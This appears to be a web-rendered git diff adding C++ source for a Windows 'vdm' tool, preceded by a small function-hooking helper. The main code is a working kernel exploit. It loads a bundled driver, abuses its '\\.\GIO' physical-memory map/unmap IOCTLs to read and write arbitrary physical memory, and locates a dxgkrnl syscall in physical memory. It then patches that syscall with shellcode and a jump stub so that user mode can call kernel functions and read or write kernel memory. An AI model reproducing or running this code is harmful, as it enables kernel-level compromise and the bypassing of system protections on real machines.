|
||||||
Author: xerox
|
|
||||||
Date: 12/19/2019
|
|
||||||
|
|
||||||
Create Hook without needing to deal with objects
|
|
||||||
*/
|
|
||||||
static void make_hook(void* addr_to_hook, void* jmp_to_addr, bool enable = true)
|
|
||||||
{
|
|
||||||
if (!addr_to_hook)
|
|
||||||
return;
|
|
||||||
|
|
||||||
hooks.insert({
|
|
||||||
addr_to_hook,
|
|
||||||
std::make_unique<detour>(
|
|
||||||
addr_to_hook,
|
|
||||||
jmp_to_addr,
|
|
||||||
enable
|
|
||||||
)}
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
Author: xerox
|
|
||||||
Date: 12/19/2019
|
|
||||||
|
|
||||||
Enable hook given the address to hook
|
|
||||||
*/
|
|
||||||
static void enable(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return;
|
|
||||||
hooks.at(addr)->install();
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
|
||||||
Author: xerox
|
|
||||||
Date: 12/19/2019
|
|
||||||
|
|
||||||
Disable hook givent the address of the hook
|
|
||||||
*/
|
|
||||||
static void disable(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return;
|
|
||||||
hooks.at(addr)->uninstall();
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
/*
|
|
||||||
Author: xerox
|
|
||||||
Date: 12/19/2019
|
|
||||||
|
|
||||||
Remove hook completely from vector
|
|
||||||
*/
|
|
||||||
static void remove(void* addr)
|
|
||||||
{
|
|
||||||
if (!addr)
|
|
||||||
return;
|
|
||||||
hooks.at(addr)->~detour();
|
|
||||||
hooks.erase(addr);
|
|
||||||
}
|
|
||||||
}
|
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,142 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <cstdint>
|
||||||
|
|
||||||
|
#include "../util/util.hpp"
|
||||||
|
#include "../util/loadup.hpp"
|
||||||
|
#include "raw_driver.hpp"
|
||||||
|
|
||||||
|
#define MAP_PHYSICAL 0xC3502004
|
||||||
|
#define UNMAP_PHYSICAL 0xC3502008
|
||||||
|
|
||||||
|
#pragma pack (push, 1)
|
||||||
|
typedef struct _gdrv_t
|
||||||
|
{
|
||||||
|
unsigned long interface_type;
|
||||||
|
unsigned long bus;
|
||||||
|
std::uintptr_t phys_addr;
|
||||||
|
unsigned long io_space;
|
||||||
|
unsigned long size;
|
||||||
|
} gdrv_t, *pgdrv_t;
|
||||||
|
#pragma pack (pop)
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
inline HANDLE drv_handle;
|
||||||
|
__forceinline auto load_drv() -> std::pair <HANDLE, std::string>
|
||||||
|
{
|
||||||
|
const auto [result, key] =
|
||||||
|
driver::load(
|
||||||
|
vdm::raw_driver,
|
||||||
|
sizeof(vdm::raw_driver)
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!result)
|
||||||
|
return { {}, {} };
|
||||||
|
|
||||||
|
vdm::drv_handle = CreateFileA(
|
||||||
|
"\\\\.\\GIO",
|
||||||
|
GENERIC_READ | GENERIC_WRITE,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_ATTRIBUTE_NORMAL,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
|
||||||
|
return { vdm::drv_handle, key };
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool unload_drv(HANDLE drv_handle, std::string drv_key)
|
||||||
|
{
|
||||||
|
return CloseHandle(drv_handle) && driver::unload(drv_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool read_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(buffer, out_buffer[0], size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool write_phys(void* addr, void* buffer, std::size_t size)
|
||||||
|
{
|
||||||
|
if (!util::is_valid(reinterpret_cast<std::uintptr_t>(addr)))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
gdrv_t in_buffer;
|
||||||
|
in_buffer.bus = NULL;
|
||||||
|
in_buffer.interface_type = NULL;
|
||||||
|
in_buffer.phys_addr = reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
in_buffer.io_space = NULL;
|
||||||
|
in_buffer.size = size;
|
||||||
|
|
||||||
|
void* out_buffer[2] = { 0 };
|
||||||
|
unsigned long returned = 0;
|
||||||
|
|
||||||
|
if (!DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
MAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&in_buffer),
|
||||||
|
sizeof in_buffer,
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
memcpy(out_buffer[0], buffer, size);
|
||||||
|
}
|
||||||
|
__except (EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{}
|
||||||
|
|
||||||
|
return DeviceIoControl(
|
||||||
|
drv_handle,
|
||||||
|
UNMAP_PHYSICAL,
|
||||||
|
reinterpret_cast<void*>(&out_buffer[0]),
|
||||||
|
sizeof out_buffer[0],
|
||||||
|
out_buffer,
|
||||||
|
sizeof out_buffer,
|
||||||
|
&returned, NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,93 @@
|
|||||||
|
#include "vdm_ctx.h"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
vdm_ctx::vdm_ctx()
|
||||||
|
{
|
||||||
|
// already found the syscall's physical page...
|
||||||
|
if (vdm::syscall_address.load())
|
||||||
|
return;
|
||||||
|
|
||||||
|
LoadLibraryA("user32.dll"); // required for win32u.dll...
|
||||||
|
vdm::dxgkrnl_buffer = reinterpret_cast<std::uint8_t*>(
|
||||||
|
LoadLibraryExA("drivers\\dxgkrnl.sys", NULL,
|
||||||
|
DONT_RESOLVE_DLL_REFERENCES));
|
||||||
|
|
||||||
|
nt_rva = reinterpret_cast<std::uint32_t>(
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"dxgkrnl.sys",
|
||||||
|
syscall_hook.first,
|
||||||
|
true
|
||||||
|
));
|
||||||
|
|
||||||
|
vdm::nt_page_offset = nt_rva % PAGE_4KB;
|
||||||
|
// for each physical memory range, make a thread to search it
|
||||||
|
std::vector<std::thread> search_threads;
|
||||||
|
for (auto ranges : util::pmem_ranges)
|
||||||
|
search_threads.emplace_back(std::thread(
|
||||||
|
&vdm_ctx::locate_syscall,
|
||||||
|
this,
|
||||||
|
ranges.first,
|
||||||
|
ranges.second
|
||||||
|
));
|
||||||
|
|
||||||
|
for (std::thread& search_thread : search_threads)
|
||||||
|
search_thread.join();
|
||||||
|
}
|
||||||
|
|
||||||
|
void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
|
||||||
|
{
|
||||||
|
const auto page_data =
|
||||||
|
reinterpret_cast<std::uint8_t*>(
|
||||||
|
VirtualAlloc(
|
||||||
|
nullptr,
|
||||||
|
PAGE_4KB, MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_READWRITE
|
||||||
|
));
|
||||||
|
|
||||||
|
for (auto page = 0u; page < length; page += PAGE_4KB)
|
||||||
|
{
|
||||||
|
if (vdm::syscall_address.load())
|
||||||
|
break;
|
||||||
|
|
||||||
|
if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
|
||||||
|
continue;
|
||||||
|
|
||||||
|
// check the first 32 bytes of the syscall, if its the same, test that its the correct
|
||||||
|
// occurrence of these bytes (since dxgkrnl is loaded into physical memory at least 2 times now)...
|
||||||
|
if (!memcmp(page_data + nt_page_offset, dxgkrnl_buffer + nt_rva, 32))
|
||||||
|
if (valid_syscall(reinterpret_cast<void*>(address + page + nt_page_offset)))
|
||||||
|
syscall_address.store(
|
||||||
|
reinterpret_cast<void*>(
|
||||||
|
address + page + nt_page_offset));
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
|
||||||
|
}
|
||||||
|
|
||||||
|
bool vdm_ctx::valid_syscall(void* syscall_addr) const
|
||||||
|
{
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
LoadLibraryA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
// 0: 48 31 c0 xor rax, rax
|
||||||
|
// 3 : c3 ret
|
||||||
|
std::uint8_t shellcode[] = { 0x48, 0x31, 0xC0, 0xC3 };
|
||||||
|
std::uint8_t orig_bytes[sizeof shellcode];
|
||||||
|
|
||||||
|
// save original bytes and install shellcode...
|
||||||
|
vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
|
||||||
|
|
||||||
|
auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
|
||||||
|
vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result == STATUS_SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,114 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <windows.h>
|
||||||
|
#include <string_view>
|
||||||
|
#include <vector>
|
||||||
|
#include <thread>
|
||||||
|
#include <atomic>
|
||||||
|
#include <mutex>
|
||||||
|
#include "../vdm/vdm.hpp"
|
||||||
|
|
||||||
|
namespace vdm
|
||||||
|
{
|
||||||
|
// change this to whatever you want :^)
|
||||||
|
constexpr std::pair<const char*, const char*> syscall_hook = { "NtGdiDdDDICreateContext", "win32u.dll" };
|
||||||
|
|
||||||
|
inline std::atomic<bool> is_page_found = false;
|
||||||
|
inline std::atomic<void*> syscall_address = nullptr;
|
||||||
|
|
||||||
|
inline std::uint16_t nt_page_offset;
|
||||||
|
inline std::uint32_t nt_rva;
|
||||||
|
inline std::uint8_t* dxgkrnl_buffer;
|
||||||
|
|
||||||
|
class vdm_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
vdm_ctx();
|
||||||
|
template <class T, class ... Ts>
|
||||||
|
__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
|
||||||
|
{
|
||||||
|
static const auto proc =
|
||||||
|
GetProcAddress(
|
||||||
|
LoadLibraryA(syscall_hook.second),
|
||||||
|
syscall_hook.first
|
||||||
|
);
|
||||||
|
|
||||||
|
static std::mutex syscall_mutex;
|
||||||
|
syscall_mutex.lock();
|
||||||
|
|
||||||
|
// jmp [rip+0x0]
|
||||||
|
std::uint8_t jmp_code[] =
|
||||||
|
{
|
||||||
|
0xff, 0x25, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00, 0x00, 0x00,
|
||||||
|
0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
std::uint8_t orig_bytes[sizeof jmp_code];
|
||||||
|
*reinterpret_cast<void**>(jmp_code + 6) = addr;
|
||||||
|
vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
// execute hook...
|
||||||
|
vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
|
||||||
|
auto result = reinterpret_cast<T>(proc)(args ...);
|
||||||
|
vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
|
||||||
|
|
||||||
|
syscall_mutex.unlock();
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline auto rkm(std::uintptr_t addr) -> T
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_memcpy =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||||
|
|
||||||
|
T buffer;
|
||||||
|
this->syscall<decltype(&memcpy)>(
|
||||||
|
ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
|
||||||
|
|
||||||
|
return buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
template <class T>
|
||||||
|
__forceinline void wkm(std::uintptr_t addr, const T& value)
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_memcpy =
|
||||||
|
util::get_kmodule_export("ntoskrnl.exe", "memcpy");
|
||||||
|
|
||||||
|
this->syscall<decltype(&memcpy)>(
|
||||||
|
ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
|
||||||
|
{
|
||||||
|
static const auto ntoskrnl_get_virtual =
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
"MmGetVirtualForPhysical");
|
||||||
|
|
||||||
|
return this->syscall<MmGetVirtualForPhysical>(
|
||||||
|
ntoskrnl_get_virtual, addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
|
||||||
|
{
|
||||||
|
static const auto ps_lookup_peproc =
|
||||||
|
util::get_kmodule_export(
|
||||||
|
"ntoskrnl.exe",
|
||||||
|
"PsLookupProcessByProcessId");
|
||||||
|
|
||||||
|
PEPROCESS peproc = nullptr;
|
||||||
|
this->syscall<PsLookupProcessByProcessId>(
|
||||||
|
ps_lookup_peproc,
|
||||||
|
(HANDLE)GetCurrentProcessId(),
|
||||||
|
&peproc
|
||||||
|
);
|
||||||
|
|
||||||
|
return peproc;
|
||||||
|
}
|
||||||
|
private:
|
||||||
|
void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
|
||||||
|
bool valid_syscall(void* syscall_addr) const;
|
||||||
|
};
|
||||||
|
}
|
Loading…
Reference in new issue